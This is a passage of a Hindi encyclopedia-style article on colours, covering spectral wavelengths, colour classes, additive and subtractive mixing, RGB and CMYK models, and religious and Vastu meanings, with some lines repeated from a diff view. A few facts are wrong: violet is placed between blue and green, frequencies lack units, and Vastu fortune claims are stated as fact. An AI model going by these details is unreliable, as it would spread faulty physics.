{{मुख्य|लाल रंग}}
 
लाल रंग को [[रक्त]] [[रंग]] भी कहा जाता है, इसका कारण रक्त का रंग लाल होना है। लाल वर्ण [[प्रकाश]] की सर्वाधिक लम्बी [[तरंग दैर्ध्य]] वाली रोशनी या प्रकाश किरण को कहते हैं। इसका तरंग दैर्ध्य लगभग 6200 Å से 7800 Å <ref>Å=10<sup>-10</sup> m = 10<sup>-8</sup> cm = 10<sup>-1</sup>nm (nanometre</ref> तक तथा इसकी आवृति 3.75 - 4.84 होती है। इससे लम्बी तरंग को अधोरक्त कहते हैं, जो कि मानवीय चक्षु (आँख) द्वारा दृश्य नहीं है।
 
[[चित्र:Frequency.gif|thumb|left|250px|आवृति<br />Frequency]]
 
;बैंगनी
 
{{मुख्य|बैंगनी रंग}}
 
बैंगनी रंग एक सब्जी़ [[बैंगन]] के नाम पर रखा हुआ नाम है। अँग्रेजी़ में इसे वॉय्लेट (voilet) कहते हैं, जो कि इसी नाम के फूल से रखा है। इसकी तरंग दैर्ध्य 3800 Å से 4460 Å <ref>Å=10<sup>-10</sup> m = 10<sup>-8</sup> cm = 10<sup>-1</sup>nm (nanometre</ref>होती है। जिसके बाद इंडिगो रंग होता है। यह प्रत्यक्ष वर्णचक्र के ऊपरी छोर पर स्थित होता है। यह वर्णक्रम के नीला एवं हरा रंग के बीच में लगभग 380-450 nm के तरंग दैर्ध्य में मिलता है।
 
;नीला
 
{{मुख्य|नीला रंग}}
 
नीला रंग वह है, जिसे [[प्रकाश]] के प्रत्यक्ष [[वर्णक्रम]] की 4460 Å से 4640 Å<ref>Å=10<sup>-10</sup> m = 10<sup>-8</sup> cm = 10<sup>-1</sup>nm (nanometre</ref> की तरंग दैर्घ्य तथा 6.47 - 6.73 की आवृति द्वारा दृश्य किया जाता है।
 
;आसमानी
 
{{मुख्य|आसमानी रंग}}
 
[[आसमानी रंग|आसमानी]] को नीलमणी भी कहा जाता है। आसमानी [[रंग]] [[द्वितीयक रंग]] की श्रेणी में आता है। आसमानी रंग को ठंड़ा रंग माना जाता है। आसमान के रंग का होने के कारण इसे आसमानी रंग कहा जाता है।
 
;समुद्री हरा
 
{{मुख्य|समुद्री हरा रंग}}
 
[[समुद्री हरा रंग|समुद्री हरा]] रंग [[हरा रंग|हरे]] रंग की वह छाया है, जो कि सागर की तलहटी के [[रंग]] को दर्शाता है।       
 
;धानी
 
{{मुख्य|धानी रंग}}
 
[[धानी रंग|धानी]] या पत्ती हरा रंग [[हरा रंग|हरे]] और [[पीला रंग|पीले]] रंग के मिश्रण से प्राप्त होता है। धान के रंग का होने के कारण इसका नाम धानी पड़ गया।
 
 
==रंगों के पारिभाषिक नाम==
 
दुनिया भर में जितने भी रंग मिलते हैं, उसे हम मुख्यत: दो वर्गों में बाँट सकते हैं।
 
*रंगीन वर्ण में लाल, पीला, नीला, बैंगनी इत्यादि रंग आते हैं।
 
*जबकि बदरंग वर्ग में काला, सफ़ेद और कई छवियों के [[सलेटी रंग|स्लेटी रंग]] सम्मिलित हैं।
 
स्लेटी रंगों की अनेकानेक छवियाँ हैं। कोई स्लेटी सफ़ेद के निकट होता है तो कोई सफ़ेद से अत्यन्त दूर होकर काले रंग के क़रीब आ जाता है। स्लेटी छवियों को काले और सफ़ेद के बीच एक श्रृंखला में भी श्रेणीबद्ध किया जा सकता है। श्रृंखला को पैमाने का भी रूप दिया जा सकता है, जिसके केन्द्र का रंग काले और सफ़ेद के समान स्तर का स्लेटी होगा। काले रंग को शून्य संख्या देकर छवि को क्रमश: आगे का अंक प्रदान किया जा सकता है। इस प्रकार अधिकतम संख्या अंक सफ़ेद को दिया जाता हैं।
 
 
{| width="101%" border="0" style="text-align:center"
 
|-
 
| colspan="8"| '''अन्य भाषाओं में नाम'''
 
|-
 
| style="background:#f0f7fd; width:9%" class="bottom-nil"| <strong>भाषा</strong>
 
| class="bottom-nil" style="background:#f0f7fd; width:13%" | <strong>[[हिन्दी भाषा|हिन्दी]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd; width:13%" | <strong>[[उड़िया भाषा|उड़िया]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd; width:13%" | <strong>[[उर्दू भाषा|उर्दू]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd; width:13%" | <strong>[[कन्नड़ भाषा|कन्नड़]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd; width:13%" | <strong>[[कश्मीरी भाषा|कश्मीरी]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd; width:13%" | <strong>[[असमिया भाषा|असमिया]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd; width:13%" | <strong>[[गुजराती भाषा|गुजराती]]</strong>
 
|-
 
| class="top-nil"| शब्द
 
| class="top-nil"| वर्ण
 
| class="top-nil"| रंग
 
| class="top-nil"| रंग
 
| class="top-nil"| बण्ण
 
| class="top-nil"| रंग
 
| class="top-nil"| रं बरण बोल
 
| class="top-nil"| रंग
 
|-
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>भाषा</strong>
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>[[उड़िया भाषा|उड़िया]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>[[तमिल भाषा|तमिल]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>[[तेलुगु भाषा|तेलुगु]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>[[नेपाली भाषा|नेपाली]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>[[पंजाबी भाषा|पंजाबी]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>[[बांग्ला भाषा|बांग्ला]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"|<strong>[[बोडो भाषा|बोडो]]</strong>
 
|-
 
| class="top-nil"| शब्द
 
| class="top-nil"| रंग
 
| class="top-nil"| निरम्, चायम्
 
| class="top-nil"| रगु, वन्ने
 
| class="top-nil"| {{{नेपाली|}}}
 
| class="top-nil"| रंग
 
| class="top-nil"| रंग, वर्ण
 
| class="top-nil"| {{{बोडो|}}}
 
|-
 
| class="bottom-nil" style="background:#f0f7fd"| <strong>भाषा</strong>
 
| class="bottom-nil" style="background:#f0f7fd; height:29px"| <strong>[[मणिपुरी भाषा|मणिपुरी]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"| <strong>[[मराठी भाषा|मराठी]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"| <strong>[[मलयालम भाषा|मलयालम]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"| <strong>[[मैथिली भाषा|मैथिली]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"| <strong>[[संथाली भाषा|संथाली]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"| <strong>[[सिंधी भाषा|सिंधी]]</strong>
 
| class="bottom-nil" style="background:#f0f7fd"| <strong>[[अंग्रेज़ी भाषा|अंग्रेज़ी]]</strong>
 
|-
 
| class="top-nil"| शब्द
 
| class="top-nil"| {{{मणिपुरी|}}}
 
| class="top-nil"| रंग, वर्ण
 
| class="top-nil"| निरं, वर्णं
 
| class="top-nil"| {{{मैथिली|}}}
 
| class="top-nil"| {{{संथाली|}}}
 
| class="top-nil"| रंगु
 
| class="top-nil"| Colour,
 
|}
 
  
 
==रंगों के प्रकार==
 
==रंगों के प्रकार==
 +
{{main|रंगों के प्रकार}}
 
रंगों को तीन भागों में विभाजित किया जा सकता है-
 
रंगों को तीन भागों में विभाजित किया जा सकता है-
 
*प्राथमिक रंग या मूल रंग
 
*प्राथमिक रंग या मूल रंग
 
*द्वितीयक रंग
 
*द्वितीयक रंग
 
*विरोधी रंग  
 
*विरोधी रंग  
====प्राथमिक रंग या मूल रंग====
 
{{Main|प्राथमिक रंग}}
 
प्राथमिक रंग या मूल रंग वे रंग हैं जो किसी मिश्रण के द्वारा प्राप्त नहीं किये जा सकते हैं। ये रंग निम्न हैं-
 
*लाल
 
*नीला
 
*हरा
 
====द्वितीयक रंग====
 
{{Main|द्वितीयक रंग}}
 
द्वितीयक रंग वे रंग होते हैं जो दो प्राथमिक रंगों के मिश्रण से प्राप्त किये जाते हैं। द्वितीयक रंग रानी, सियान व पीला है। इन्हें दो भागो में विभाजित किया जा सकता है-
 
[[चित्र:Colour-kites.jpg|thumb|250px|रंग बिरंगी पतंगें]]
 
*गर्म रंग
 
*ठंडे रंग
 
 
जिन रंगों में लाल रंग का प्रभाव माना जाता है उन्हें '''गर्म रंग''' कहा जाता हैं। गर्म रंग निम्न हैं-
 
*पीला
 
*लाल
 
*नारंगी
 
*बैंगनी
 
 
जिन रंगों में नीले रंग का प्रभाव माना जाता है उन्हें '''ठंड़े रंग''' कहा जाता है। ठंड़े रंग निम्न हैं-
 
*नीलमणी या आसमानी
 
*समुद्री हरा
 
*धानी या पत्ती हरा
 
 
====विरोधी रंग====
 
{{Main|विरोधी रंग}}
 
प्राथमिक व द्वितीयक रंगों के मिश्रण से जो रंग बनते है उन्हें विरोधी रंग कहा जाता है। ऑस्टवाल्ड वर्ण चक्र में प्रदर्शित किये गये जाने वाले आमने सामने के रंग विरोधी रंग कहलाते हैं। जैसे- नीले का विरोधी रंग पीला, नारंगी का आसमानी व बैंगनी का विरोधी रंग धानी है।
 
 
==रंगों का मिश्रण==
 
प्रकृति में पाए जाने वाले समस्त रंग तीन प्राथमिक रंगों लाल, हरा, और नीला से मिलकर बनते हैं। इन तीन प्राथमिक रंगों को मिलाने की दो विधियाँ हैं: 
 
*योज्य विधि
 
*शेष विधि
 
इसके अतिरिक्त इन दोनों विधियों के सम्मिलित प्रभाव द्वारा भी नए रंग बनते हैं।
 
[[चित्र:Colour.jpg|thumb|left|250px|रंग बिरंगी पेन्सिल]]
 
====योज्य विधि====
 
योज्य विधि में रंगीन प्रकाश मिलाया जाता है। यदि सफ़ेद दीवार पर दो भिन्न रंगों का प्रकाश पड़े, तो वहाँ एक अन्य रंग की अनुभूति होती है। लाल और हरे रंग का प्रकाश मिलाया जाय तो पीला रंग दिखाई देता है। सभी रंग उपर्युक्त तीन प्राथमिक रंगों को विभिन्न अनुपात में मिलाने से बनते हैं। तीनों रंगों को एक विशेष अनुपात में मिलाने से सफ़ेद रंग बनता है।
 
;पूरक रंग
 
तीन प्राथमिक रंगों लाल, हरा और नीला में से किन्हीं दो रंगों के मिलाने से, जो रंग बनता है उसे तीसरे रंग का पूरक रंग कहा जाता है। पीले रंग को नीले रंग का पूरक कहा जाता है। क्योंकि पीला रंग शेष दो प्राथमिक रंग लाल और हरा मिलाने से बनता है। किसी रंग में उसका पूरक रंग मिला देने से तीनों रंग इकठ्टे हो जाते हैं और सफ़ेद रंग बन जाता है। इसलिए इसका नाम पूरक रंग पड़ा है। किसी रंग को सफ़ेद बनाने में जिस रंग की कमी होती है उसे पूरक रंग पूरा करता है। इसे निम्न समीकरणों द्वारा अच्छी तरह समझ सकते हैं:
 
<blockquote><span style="color: red">'''लाल'''</span> + <span style="color: green">'''हरा'''</span> + <span style="color: blue">'''नीला'''</span> = <span style="color: white; background:black">'''सफ़ेद'''</span>
 
</blockquote>
 
<blockquote><span style="color: red">'''लाल'''</span> + <span style="color: green">'''हरा'''</span> + <span style="color: blue">'''नीला''' का पूरक</span> =<span style="color: #ffff00">पीला</span></blockquote>
 
इसी तरह हरे का पूरक रंग मजेंटा है, जो लाल और नीला मिलाने से बनता है। लाल का पूरक सियान है, जो नीला और हरा मिलाकर बनता है। उपर्युक्त वर्णन में यह ध्यान में रखना चाहिए कि 'रंग' से यहाँ रंगीन प्रकाश का अर्थ होता है, रंगीन पदार्थ का नहीं।
 
;शेष विधि
 
इस विधि में रंगीन पदार्थ मिलाए जाते हैं, चाहे वे पारदर्शी हों अथवा अपारदर्शी। रंगीन पदार्थ सफेद प्रकाश में से कुछ रंग का प्रकाश हटा सकते हैं, उनमें रंग जोड़ने की क्षमता नहीं होती। इसलिये यह विधि शेष विधि कहलाती है। इस विधि से नए रंग बनने का कारण यह है कि अधिकांश पदार्थ शुद्ध एकवर्गी प्रकाश परावर्तित, या पारगत नहीं करते, अन्यथा कोई दो रंगीन पदार्थ मिलाने से केवल काला रंग ही प्राप्त होता। जैसे लाल रंग के फ़िल्टर से केवल लाल रंग का प्रकाश ही जा पाता है। उस पर नीला फ़िल्टर भी लगा दिया जाय, तो लाल फ़िल्टर से निकला हुआ प्रकाश नीले फ़िल्टर में पूर्ण रूप से अवशोषित हो जाता है, अर्थात दोनों फ़िल्टरों का प्रकाश मिलाने से कोई भी प्रकाश बाहर नहीं जा पाता जिससे वे काले दिखाई पड़ते हैं।
 
[[चित्र:Rgb-mix.jpg|[[लाल रंग|लाल]], [[हरा रंग|हरा]] व [[नीला रंग|नीला]] प्रतिरूप|thumb|200px]]
 
शेष विधि में सफेद प्रकाश में से तीन प्राथमिक रंग (लाल हरा और नीला) हटाए जाते हैं। किसी वस्तु पर रंगीन पदार्थ का लेप, रंगीन छपाई, या [[रंगीन फ़ोटोग्राफ़ी]] तथा रंगीन फ़िल्टर शेष विधि के कारण ही रंगीन दिखाई देते हैं। इनमें तीन प्राथमिक रंग के पदार्थ होते हैं जिनके रंग आसमानी, मजेंटा तथा पीला हैं। ये तीनों रंग योज्य विधि के पूरक रंग हैं। रंगीन छपाई में भी इन्हीं तीन रंगों की स्याहियाँ प्रयुक्त होती हैं। इन रंगों को इनके अवयवों द्वारा या उस रंग द्वारा व्यक्त किया जा सकता है जो सफेद प्रकाश में नहीं है। उदाहरण के लिए:-
 
<blockquote><span style="color: #ffff00">पीला</span> = <span style="color: green">'''हरा'''</span> + <span style="color: red">'''लाल'''</span> = - <span style="color: blue">'''नीला'''</span></blockquote>
 
अर्थात लाल और हरा रंग मिला देने से पीला रंग बनता है, अथवा सफेद प्रकाश में से नीला रंग निकाल लेने से पीला रंग बनता है। इसी प्रकार
 
<blockquote><span style="color: #CD00CC">'''मजेंटा'''</span>= <span style="color: blue">'''नीला'''</span> + <span style="color: red">'''लाल'''</span> = - <span style="color: green">'''हरा'''</span></blockquote>
 
<blockquote>सियान = <span style="color: blue">'''नीला'''</span> + <span style="color: green">'''हरा'''</span> = - <span style="color: red">'''लाल'''</span></blockquote>
 
सफेद प्रकाश में से तीनों रंग निकाल लेने से काला दिखाई देता है, अर्थात कोई प्रकाश नहीं दिखाई पड़ता है।
 
;आभा
 
किसी एक रंग के प्रकाश की तीव्रता अधिक करने, अर्थात सफेद रंग मिलाने से या तीव्रता कम करने, अर्थात काला रंग मिलाने से रंग की आभा में अंतर आ जाता है। एकदम काला और एकदम सफेद में किसी रंग की अनुभूति नहीं होती। परंतु विभिन्न अनुपात में काला और सफेद मिलाने से जो स्लेटी रंग बनते हैं उनके अनुसार किसी भी प्राथमिक अथवा मिश्र रंग की अनेक आभाएँ हो सकती हैं।<ref name="विश्वकोश"/>
 
 
====लाल हरा व नीला प्रतिरूप====
 
लाल हरा व नीला रंग प्रतिरूप एक ऐसा प्रतिरूप है जिसमें लाल, हरे और नीले रंग का प्रकाश विभिन्न प्रकार से मिश्रित होकर रंगों की एक विस्तृत सारणी का निर्माण करते हैं। [[अंग्रेज़ी भाषा|अंग्रेज़ी]] में इसे आर जी बी कहा जाता है। लाल हरा व नीला रंग प्रतिरूप का नाम तीन प्राथमिक रंग लाल, हरे और नीले रंग के अंग्रेज़ी नाम के पहले अक्षर से जुड़कर बना है। आर जी बी रंग मॉडल का मुख्य उद्देश्य संवेदन, प्रतिनिधित्व, और इलेक्ट्रॉनिक प्रणालियों में [[टेलीविश्ज़न|टी.वी.]] और [[कम्प्यूटर]] जैसे चित्र के प्रदर्शन के लिए होता है। हालांकि यह भी पारंपरिक फ़ोटोग्राफी में प्रयोग किया गया है। नीले, हरे व लाल रंगों को परस्पर उपयुक्त मात्रा में मिलाकर अन्य रंग प्राप्त किये जा सकते हैं तथा इनको बराबर-बराबर मात्रा में मिलाने से श्वेत प्रकाश प्राप्त होता है।
 
<center>
 
{| class="bharattable" border="1" align="center"
 
|+ लाल हरा नीला प्रतिरूप
 
|-
 
| [[चित्र:Rgb-Mode.jpg|120px|लाल हरा नीला प्रतिरूप]]
 
| [[चित्र:Red-Mode.jpg|120px|[[लाल रंग|लाल]] प्रतिरूप]]
 
| [[चित्र:Green-Mode.jpg|120px|[[हरा रंग|हरा]] प्रतिरूप]]
 
| [[चित्र:Blue-Mode.jpg|120px|[[नीला रंग|नीला]] प्रतिरूप]]
 
|}
 
</center>
 
 
====सी.एम.वाई.के. प्रतिरूप====
 
[[क्यान रंग|क्यान]], मैंजेटा ([[रानी रंग|रानी]]), [[पीला रंग|पीला]] व [[काला रंग]] प्रतिरूप एक व्यकलित वर्ण प्रतिरूप है जिसे चतुर्वर्ण भी कहा जाता है। सी.एम.वाई.के. प्रतिरूप रंगीन मुद्रण में प्रयोग किया जाता है। सी.एम.वाई.के. प्रतिरूप किसी विशिष्ट तरंग दैर्ध्य को सोखकर, कार्य करता है। ऐसे प्रतिरूप को व्यकलित प्रतिरूप कहते हैं, क्योंकि यह स्याही श्वेत में से उज्ज्वलता को घटा देता है।
 
<center>
 
{| class="bharattable" border="1" align="center"
 
|+ सी.एम.वाई.के. प्रतिरूप
 
|-
 
| [[चित्र:Rgb-Mode.jpg|120px|सी एम वाई के प्रतिरूप]]
 
| [[चित्र:Cyan-Mode.jpg|120px|[[क्यान रंग|क्यान]] प्रतिरूप]]
 
| [[चित्र:Magenta-Mode.jpg|120px|[[रानी रंग|मैंजेंटा]] प्रतिरूप]]
 
| [[चित्र:Yellow-Mode.jpg|120px|[[पीला रंग|पीला]] प्रतिरूप]]
 
| [[चित्र:Black-Mode.jpg|120px|[[काला रंग|काला]] प्रतिरूप]]
 
|}
 
</center>
 
 
 
==रंगों का महत्त्व==
 
==रंगों का महत्त्व==
 +
{{main|रंगों का महत्त्व}}
 
रंगों को देखकर ही हम स्थिति के बारे में पता लगाते हैं। इंद्रधनुष के रंगों की छटा हमारे मन को बहुत आकर्षित करता है। हम रंगों के बिना अपने जीवन की कल्पना भी नहीं कर सकते हैं। रंगों के बिना हमारा जीवन ठीक वैसा ही है, जैसे प्राण बिना शरीर। बाल्यावस्था में बच्चे रंगों की सहायता से ही वस्तुओं को पहचानता है। युवक रंगों के माध्यम से ही संसार का सर्जन करता है। वृद्ध की कमज़ोर आँखें रंगों की सहायता से वस्तुओं का नाम प्राप्त करती है।  
 
रंगों को देखकर ही हम स्थिति के बारे में पता लगाते हैं। इंद्रधनुष के रंगों की छटा हमारे मन को बहुत आकर्षित करता है। हम रंगों के बिना अपने जीवन की कल्पना भी नहीं कर सकते हैं। रंगों के बिना हमारा जीवन ठीक वैसा ही है, जैसे प्राण बिना शरीर। बाल्यावस्था में बच्चे रंगों की सहायता से ही वस्तुओं को पहचानता है। युवक रंगों के माध्यम से ही संसार का सर्जन करता है। वृद्ध की कमज़ोर आँखें रंगों की सहायता से वस्तुओं का नाम प्राप्त करती है।  
  
"प्रकृति की सुन्दरता अवर्णनीय है और इसकी सुन्दरता में चार चाँद लगाते है ये रंग। सूर्य की लालिमा हो या खेतों की हरियाली, आसमान का नीलापन या मेघों का कालापन, बारिश के बाद में बिखरती [[इन्द्रधनुष]] की अनोखी छटा, बर्फ़ की सफ़ेदी और ना जाने कितने ही ख़ूबसूरत नज़ारे जो हमारे अंतरंग आत्मा को प्रफुल्लित करता है। इस आनंद का राज है रंगों की अनुभूति। मानव जीवन रंगों के बिना उदास और सूना है। मुख्यत: सात रंगों की इस सृष्टि में हर एक रंग हमारे जीवन पर असर छोड़ता है। कोई रंग हमें उत्तेजित करता है तो कोई रंग प्यार के लिये प्रेरित करता है। कुछ रंग हमें शांति का एहसास कराता है तो कुछ रंग मातम का प्रतीक है। दूसरे शब्दों में कह सकते है कि हमारे जीवन पर रंग का बहुत असर है। हर एक रंग अलग-अलग इंसान पर अलग-अलग तरीके से आन्दोलित करता है।''<ref>{{cite web |url=http://ankauraap.co.in/colour.html |title=आप और आपका शुभ रंग|accessmonthday= [[21 जुलाई]]|accessyear=[[2010]] |authorlink= |last=देवी|first=रेखा |format= |publisher=अंक और आप|language=एच टी एम एल}}</ref>
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"प्रकृति की सुन्दरता अवर्णनीय है और इसकी सुन्दरता में चार चाँद लगाते है ये रंग। सूर्य की लालिमा हो या खेतों की हरियाली, आसमान का नीलापन या मेघों का कालापन, बारिश के बाद में बिखरती [[इन्द्रधनुष]] की अनोखी छटा, बर्फ़ की सफ़ेदी और ना जाने कितने ही ख़ूबसूरत नज़ारे जो हमारे अंतरंग आत्मा को प्रफुल्लित करता है। इस आनंद का राज है रंगों की अनुभूति। मानव जीवन रंगों के बिना उदास और सूना है। मुख्यत: सात रंगों की इस सृष्टि में हर एक रंग हमारे जीवन पर असर छोड़ता है। कोई रंग हमें उत्तेजित करता है तो कोई रंग प्यार के लिये प्रेरित करता है।  
====धार्मिक महत्त्व====
 
धर्म में रंगों की मौजूदगी का ख़ास उद्देश्य है। रंगों के [[विज्ञान]] को समझकर ही हमारे ऋषि-मुनियों ने धर्म में रंगों का समावेश किया है। पूजा के स्थान पर रंगोली बनाना कलाधर्मिता के साथ रंगों के मनोविज्ञान को भी प्रदर्शित करता है। कुंकुम, हल्दी, अबीर, [[गुलाल]], [[मेंहदी]] के रूप में पाँच रंग हर पूजा में शामिल हैं। धर्म ध्वजाओं के रंग, तिलक के रंग, भगवान के वस्त्रों के रंग भी विशिष्ठ रखे जाते हैं। ताकि धर्म-कर्म के समय हम उन रंगों से प्रेरित हो सकें और हमारे अंदर उन रंगों के गुण आ सकें।
 
[[चित्र:Indian-Mehndi.jpg|thumb|left|मेंहदी<br /> Mehndi]]
 
;मेंहदी
 
{{Main|मेंहदी}}
 
'''मेहंदी''' शरीर को सजाने की एक श्रृंगार सामग्री है। इसे हाथों, पैरों, बाजुओं आदि पर लगाया जाता है। [[1990]] के दशक से ये पश्चिमी देशों में भी चलन में आया है। मेंहदी को '''हिना''' भी कहा जाता है। धार्मिक मान्यताओं के अनुसार मेंहदी को लगाना शुभ माना जाता हैं। मेंहदी का इस्तेमाल गर्मी में ठंडक देने के लिए किया जाता है। कुछ लोग विशेषकर बूढे़ अपने सफ़ेद बालों में मेंहदी लगाकर बालों को सुनहरे बनाने की कोशिश करते हैं।
 
;सात रश्मियाँ
 
[[सूर्य देव|सूर्य]] की किरणों में सात रंग हैं। जिन्हें [[वेद|वेदों]] में सात रश्मियाँ कहा गया है:- <blockquote>सप्तरश्मिरधमत् तमांसि।<ref>[[ऋग्वेद]] 4-50-4</ref></blockquote> अर्थात सूर्य की सात रश्मियाँ हैं। सूर्य की इन रश्मियों के सात रंग हैं- बैंगनी, नीला, आसमानी, हरा, पीला, नारंगी और लाल। इन्हें तीन भागों में बाँटा गया है-
 
*गहरा
 
*मध्यम
 
*हल्का
 
इस प्रकार सात गुणित तीन से 21 प्रकार की किरणें हो जाती हैं। [[अथर्ववेद]] में कहा गया है-<blockquote> ये त्रिषप्ता: परियन्ति विश्वा रुपाणि बिभ्रत:।<ref>अथर्ववेद 1-1-1</ref></blockquote> अर्थात यह 21 प्रकार की किरणें संसार में सभी दिशाओं में फैली हुई हैं तथा इनसे ही सभी रंग-रूप बनते हैं। वेदों के अनुसार संसार में दिखाई देने वाले सभी रंग सूर्य की किरणों के कारण ही दिखाई देते हैं। सूर्य की किरणों से मिलने वाली रंगों की ऊर्जा हमारे [[मानव शरीर]] को मिलें इसके लिए ही सूर्य को अर्ध्य देने का धार्मिक विधान है।<ref>{{cite web |url=http://religion.bhaskar.com/article/holi--religion-is-also-linked-with-the-importance-of-colors-1936771.html |title=धर्म से भी जुड़ा है रंगों का महत्व |accessmonthday=[[9 अप्रॅल]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच.टी.एम.एल. |publisher=दैनिक भास्कर |language=[[हिन्दी]] }}</ref> रंगों का महत्त्व हमारे जीवन में पौराणिक काल से ही रहा है। हमारे देवी-[[देवता|देवताओं]] को भी कुछ ख़ास रंग विशेष प्रिय हैं। यहाँ तक कि ये विशेष रंगों से पहचाने भी जाते हैं।<ref>{{cite web |url=http://in.jagran.yahoo.com/dharm/?page=article&articleid=4735&category=10 |title=देवताओं के प्रिय रंग |accessmonthday= [[28 सितम्बर]]|accessyear= [[2010]]|authorlink= |last=जिंदल |first=मीता |format= |publisher=जागरण याहू इंडिया|language=}}</ref>
 
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{| class="bharattable" border="1" 
 
|-
 
! प्रिय रंग
 
! देवी-देवता
 
! महत्त्व
 
|-
 
| [[लाल रंग|लाल]]
 
| [[लक्ष्मी]]
 
| माँ लक्ष्मी को लाल रंग प्रिय है। लाल रंग हमें आगे बढने की प्रेरणा देता है।
 
|-
 
| [[पीला रंग|पीला]]
 
| [[कृष्ण]]
 
| भगवान कृष्ण को पीतांबरधारी भी कहते हैं, क्योंकि वे पीले रंग के वस्त्रों से सुशोभित रहते हैं।
 
|-
 
| [[काला रंग|काला]]
 
| [[शनिदेव]]
 
| शनिदेव को काला रंग प्रिय है। काला रंग तमस का कारक है।
 
|-
 
| [[सफ़ेद रंग|सफ़ेद]]
 
| [[ब्रह्मा]]
 
| ब्रह्मा के वस्त्र सफ़ेद हैं, जो इस बात को प्रमाणित करते हैं कि ब्रह्म, यानी ईश्वर सभी लोगों के प्रति समान भाव रखते हैं।
 
|-
 
| भगवा
 
|
 
| संन्यासी भगवा वस्त्र पहनते हैं। भगवा रंग लाल और पीले रंग का मिश्रण है।
 
|}
 
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====होली====
 
[[चित्र:Holi-17.jpg|thumb|450px]]
 
{{main|होली}}
 
रंगों के महत्त्व में सबसे अग्रणी नाम [[होली]] का आता है। होली को रंगों का त्योहार माना जाता है। होली वसंत ऋतु में मनाया जाने वाला एक महत्त्वपूर्ण भारतीय त्योहार है। यह पर्व हिन्दू [[पंचांग]] के अनुसार [[फाल्गुन]] मास की [[पूर्णिमा]] को मनाया जाता है। रंगों का त्योहार कहा जाने वाला यह पर्व पारंपरिक रूप से दो दिन मनाया जाता है। भारत में रंगों का त्योहार होली सबसे सरस पर्व है। होली के दिन लोग मतभेद भुलाकर एक दूसरे को रंग लगाते हैं। रंग में [[रस]] है। रस ध्वनि तथा स्पर्श में है। रंग [[होली]] का मुख्य दूत है। होली के मौसम में प्रकृति अपने रंगों का पूरा ख़ज़ाना खोल देती है। होली के सांस्कृतिक पर्व में पुरुष-स्त्री भौरा एवं फूल बन जाते हैं ताकि [[रस]], रंग एवं होली मिलन हो सके और ज़िंदगी में आनंद की रसधार पूरे साल बहती रहे। एक होली से दूसरी होली के बीच प्रकृति में नित्योत्सव चलते रहते हैं। इसको यज्ञोत्सव भी कह सकते हैं।<ref>{{cite web |url=http://www.brandbihar.com/hindi/literature/amit_sharma/rang_aur_holi.html |title=रंग और होली |accessmonthday=[[22 अक्टूबर]] |accessyear=[[2010]] |last=शर्मा |first=डॉ अमित कुमार |authorlink= |format=एच.टी.एम.एल |publisher=ब्राण्ड बिहार |language=[[हिन्दी]]}}</ref>
 
;दुलेंडी
 
होली को रंग दिवस के रूप में मनाया जाता है। इस पर्व पर किशोर-किशोरियाँ, वयस्क व वृद्ध सभी एक-दूसरे पर गुलाल बरसाते हैं तथा पिचकारियों से गीले रंग लगाते हैं। पारंपरिक रूप से केवल प्राकृतिक व जड़ी-बूटियों से निर्मित रंगों का प्रयोग होता है, परंतु आज कल कृत्रिम रंगों ने इनका स्थान ले लिया है। आजकल तो लोग जिस-किसी के साथ भी शरारत या मजाक करना चाहते हैं। उसी पर रंगीले झाग व रंगों से भरे गुब्बारे मारते हैं। प्रेम से भरे यह - [[नारंगी रंग|नारंगी]], [[लाल रंग|लाल]], [[हरा रंग|हरे]], [[नीला रंग|नीले]], [[बैंगनी रंग|बैंगनी]] तथा [[काला रंग|काले]] रंग सभी के मन से कटुता व वैमनस्य को धो देते हैं तथा सामुदायिक मेल-जोल को बढ़ाते हैं। इस दिन सभी के घर पकवान व मिष्ठान बनते हैं। लोग एक-दूसरे के घर जाकर गले मिलते हैं और पकवान खाते हैं।
 
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{| class="bharattable-pink" border="1" align="center"
 
|+ '''होली के रंग'''
 
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| [[चित्र:Baldev-Holi-Mathura-21.jpg|120px|होली, बलदेव]]
 
| [[चित्र:Holi Barsana Mathura 5.jpg|120px|होली, बरसाना]]
 
| [[चित्र:Holi-Barsana-Mathura-25.jpg|120px|होली, बरसाना]]
 
| [[चित्र:Baldev-Holi-Mathura-24.jpg|120px|होली, बलदेव]]
 
| [[चित्र:Baldev-Holi-Mathura-17.jpg|120px|होली, बलदेव]]
 
| [[चित्र:Holi-5.jpg|120px|होली]]
 
|}
 
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====वास्तु में रंग का महत्त्व====
 
वास्तु में रंगों का बहुत महत्त्व है। शुभ रंग भाग्योदय कारक होते हैं और अशुभ रंग भाग्य में कमी करते हैं। विभिन्न रंगों को वास्तु के विभिन्न तत्त्वों का प्रतीक माना जाता है। [[नीला रंग]] [[जल]] का, भूरा [[पृथ्वी देवी|पृथ्वी]] का और लाल [[अग्नि]] का प्रतीक है। वास्तु और फेंगशुई में भी रंगों को पाँच तत्त्वों [[जल]], अग्नि, [[धातु]], पृथ्वी और काष्ठ से जोड़ा गया है। इन पाँचों तत्वों को अलग-अलग शाखाओं के रूप में जाना जाता है। इन शाखाओं को मुख्यतः दो प्रकारों में बाँटा जाता है:-
 
# ‘दिशा आधारित शाखाएँ’
 
# ‘प्रवेश आधारित शाखाएँ’
 
;रंग का प्रतिनिधित्व
 
